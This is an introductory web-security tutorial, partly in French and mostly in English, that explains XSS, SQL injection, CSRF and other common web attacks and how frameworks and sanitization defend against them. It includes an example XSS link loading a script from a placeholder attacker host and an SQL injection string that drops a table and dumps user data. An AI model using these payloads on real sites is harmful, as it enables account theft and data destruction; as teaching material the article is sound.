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La sécurité des sites Web exige de la vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites Web, mais il vous aidera à comprendre d'où viennent les menaces et ce que vous pouvez faire pour renforcer votre application Web contre les attaques les plus courantes.

Pré-requis: Connaissances de base en informatique.
Objectif: Comprendre les menaces les plus courantes à la sécurité des applications Web et ce que vous pouvez faire pour réduire le risque de piratage de votre site.

Qu'est-ce que la sécurité d'un site web?

Internet est un endroit dangereux ! Fréquemment, nous entendons parler de sites Web devenus indisponibles en raison d'attaques par déni de service, ou affichant des informations modifiées (et souvent préjudiciables) sur leurs pages d'accueil. Dans d'autres cas, très médiatisés, des millions de mots de passe, d'adresses électroniques et de détails sur des cartes de crédit sont divulgués au public, exposant les utilisateurs du site Web à la fois à l'embarras personnel et au risque de pertes financieres.

L'objectif de la sécurité des sites Web est de prévenir ces types d'attaques. Plus formellement, la sécurité des sites Web est l'acte/la pratique de protéger les sites Web contre l'accès, l'utilisation, la modification, la destruction ou la perturbation non autorisés.

La sécurité efficace d'un site web nécessite un effort de conception sur l'ensemble du site: dans votre application web, dans la configuration du serveur web, dans vos politiques de création et de renouvellement des mots de passe, et dans le code côté-client. Bien que tout cela semble très inquiétant, la bonne nouvelle est que si vous utilisez un framework web côté serveur, il incluera certainement par défaut des mécanismes de défense solides et bien pensés contre un certain nombre des attaques les plus courantes. D'autres attaques peuvent être atténuées grâce à la configuration de votre serveur Web, par exemple en activant HTTPS. Enfin, il existe des outils d'analyse de vulnérabilité accessibles au public qui peuvent vous aider à découvrir si vous avez commis des erreurs évidentes.

Le reste de cet article détaille les menaces les plus courantes qui pèsent sur les sites web et quelques étapes simples pour protèger votre site.

Note: Ceci est un article d'introduction, conçu pour vous aider à réflechir à la sécurité de votre site web. Ce n'est pas exhaustif.

Menaces visant la sécurité des sites web

Cette section n'énumère que quelques-unes des menaces les plus courantes visant les sites Web et la façon dont elles sont atténuées. À mesure que vous lisez, notez comment les menaces apparaissent lorsque l'application Web fait confiance ou n'est pas assez méfiante vis-à-vis des données provenant du navigateur!

Cross-Site Scripting (XSS)

XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts through the website into the browsers of other users. As the injected code comes to the browser from the site it is trusted, and can hence do things like sending the user's site authorisation cookie to the attacker. Once the attacker has the cookie they can log into a site as though they were the user and do anything the user can. Depending on what site it is, this could include accessing their credit card details, seeing contact details, changing passwords, etc.

Note: XSS vulnerabilities have historically been more common than any other type.

There are two main approaches for getting the site to return injected scripts to a browser — these are referred to as reflected and persistent XSS vulnerabilities.

  • A reflected XSS vulnerability occurs when user content that is passed to the server is returned immediately and unmodified for display in the browser — any scripts in the original user content will be run when the new page is loaded!
    For example, consider a site search function where the search terms are encoded as URL parameters, and these terms are displayed along with the results. An attacker can construct a search link containing a malicious script as a parameter (e.g. http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) and email it to another user. If the target user clicks this "interesting link", the script will be executed when the search results are displayed. As discussed above, this gives the attacker all the information they need to enter the site as the target user — potentially making purchases as the user or sharing their contact information.
  • A persistent XSS vulnerability is one where the malicious script is stored by the website and then later redisplayed unmodified for other users to unwittingly execute.
    For example, a discussion board that accepts comments containing unmodified HTML could store a malicious script from an attacker. When the comments are displayed the script is executed and can then send the attacker information required to access the user's account. This sort of attack is extremely popular and powerful, because the attacker doesn't have to have any direct engagement with the victims.

    While POST or GET data is the most common source of XSS vulnerabilities, any data from the browser is potentially vulnerable (including cookie data rendered by the browser, or user files that are uploaded and displayed).

The best defence against XSS vulnerabilities is to remove or disable any markup that can potentially contain instructions to run code. For HTML this includes tags like <script>, <object>, <embed>, and <link>.

The process of modifying user data so that it can't be used to run scripts or otherwise affect the execution of server code is known as input sanitization. Many web frameworks automatically sanitize user input from HTML forms by default.

SQL injection

SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified or deleted irrespective of the user's permissions. A successful injection attack might spoof identities, create new identities with administration rights, access all data on the server, or destroy/modify the data to make it unusable.

This vulnerability is present if user input that is passed to an underlying SQL statement can change the meaning of the statement. For example, consider the code below, which is intended to list all users with a particular name (userName) that has been supplied from an HTML form:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

If the user enters a real name, this will work as intended. However a malicious user could completely change the behaviour of this SQL statement to the new statement below, simply by specifying the "bold" text below for the userName. The modified statement creates a valid SQL statement that deletes the users table and selects all data from the userinfo table (revealing the information of every user). This works because the first part of the injected text (a';) completes the original statement (' is the symbol to deliniate a string literal in SQL).

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

The way to avoid this sort of attack is to ensure that any user data that is passed to an SQL query cannot change the nature of the query. One way to do this is to escape all the characters in the user input that have a special meaning in SQL.

Note: The SQL statement treats the ' character as the beginning and end of a string literal. By putting a backslash in front we "escape" the symbol (\'), and tell SQL to instead treat it as a character (just part of the string).

In the statement below we escape the ' character. The SQL will now interpret the name as the whole string shown in bold (a very odd name indeed, but not harmful!)

SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

Web frameworks will often take care of this escaping for you. Django, for example, ensures that any user-data passed to querysets (model queries) is escaped.

Note: This section draws heavily on the information in Wikipedia here.

Cross Site Request Forgery (CSRF)

CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent.

This type of attack is best explained by example. John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP POST request that includes the account name and an amount. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the Submit button disguised as a link to a "get rich quick" site).

If a user clicks the submit button, an HTTP POST request will be sent to the server containing the transaction details and any client-side cookies that the browser associates with the site (adding associated site cookies to requests is normal browser behaviour). The server will check the cookies, and use them to determine whether or not the user is logged in and has permission to make the transaction.

The result is that any user who clicks the Submit button while they are logged in to the trading site will make the transaction. John gets rich!

Note: The trick here is that John doesn't need to have access to the user's cookies (or access credentials) — the user's browser stores this information, and automatically includes it in all requests to the associated server.

One way to prevent this type of attack is for the server to require that POST requests includes a user-specific site-generated secret (the secret would be supplied by the server when sending the web form used to make transfers). This approach prevents John from creating his own form because he would have to know the secret that the server is providing for the user. Even if he found out the secret and created a form for a particular user, he would no longer be able to use that same form to attack every user.

Web frameworks often include such CSRF prevention mechanisms.

Autre menaces

Other common attacks/vulnerabilities include:

  • Clickjacking. In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials into an invisible <iframe> controlled by the attacker. It could alternatively be used to get the user to click a button on a visible site, but in doing so actually unwittingly click a completely different button. As a defence your site can prevent itself from being embedded in an iframe in another site by setting appropriate HTTP headers.
  • Denial of Service (DoS). DoS is usually achieved by flooding a target site with spurious requests so that access to a site is disrupted for legitimate users. The requests may simply be numerous, or they may individually consume large amounts of resource (e.g. slow reads, uploading of large files, etc.) DoS defences usually work by identifying and blocking "bad" traffic while allowing legitimate messages through. These defences are typically within or before the web server (they are not part of the web application itself).
  • Directory Traversal/File and disclosure. In this type of attack a malicious user attempts to access parts of the web server file system that they should not be able to access. This vulnerability occurs when the user is able to pass filenames that include file system navigation characters (e.g. ../../). The solution is to sanitize input before using it.
  • File Inclusion. In this attack a user is able to specify an "unintended" file for display or execution in data passed to the server. Once loaded this file might be executed on the web server or in the client-side (leading to an XSS attack). The solution is to sanitize input before using it.
  • Command Injection. Command injection attacks allow a malicious user to execute arbitrary system commands on the host operating system. The solution is to sanitize user input before it might be used in system calls.

There are many more. For a comprehensive listing see Category:Web security exploits (Wikipedia) and Category:Attack (Open Web Application Security Project).

A few key messages

Almost all the exploits in the previous sections are successful when the web application trusts data from the browser. Whatever else you do to improve the security of your website, you should sanitize all user-originating data before it is displayed in the browser, used in SQL queries, or passed to an operating system or file system call.

Important: The single most important lesson you can learn about website security is to never trust data from the browser. This includes GET request data in URL parameters, POST data, HTTP headers and cookies, user-uploaded files, etc. Always check and sanitize all incoming data. Always assume the worst.

A number of other concrete steps you can take are:

  • Use more effective password management. Encourage strong passwords that are changed regularly. Consider two-factor authentication for your site, so that in addition to a password the user must enter another authentication code (usually one that is delivered via some physical hardware that only the user will have, such as a code in an SMS sent to their phone).
  • Configure your web server to use HTTPS and HTTP Strict Transport Security (HSTS). HTTPS encrypts data sent between your client and server. This ensures that login credentials, cookies, POST data and header information are all much less available to attackers.
  • Keep track of the most popular threats (the current OWASP list is here) and address the most common vulnerabilities first.
  • Use vulnerability scanning tools to perform automated security testing on your site (later on, your very successful website may also find bugs by offering a bug bounty like Mozilla does here).
  • Only store and display data that you need to. For example, if your users must store sensitive information like credit card details, only display enough of the card number that it can be identified by the user, and not enough that it can be copied by an attacker and used on another site. The most common pattern these days is to only display the last 4 digits of a credit card number.

Web frameworks can help mitigate many of the more common vulnerabilities.

Summary

This article has explained the concept of web security and some of the more common threats that your website should attempt to protect against. Most importantly, you should understand that a web application cannot trust any data from the web browser! All user data should be sanitized before it is displayed, or used in SQL queries or file system calls.

That's the end of this module, covering your first steps in server-side website programming. We hope you've enjoyed learning the fundamental concepts, and you're now ready to select a Web Framework and start programming.

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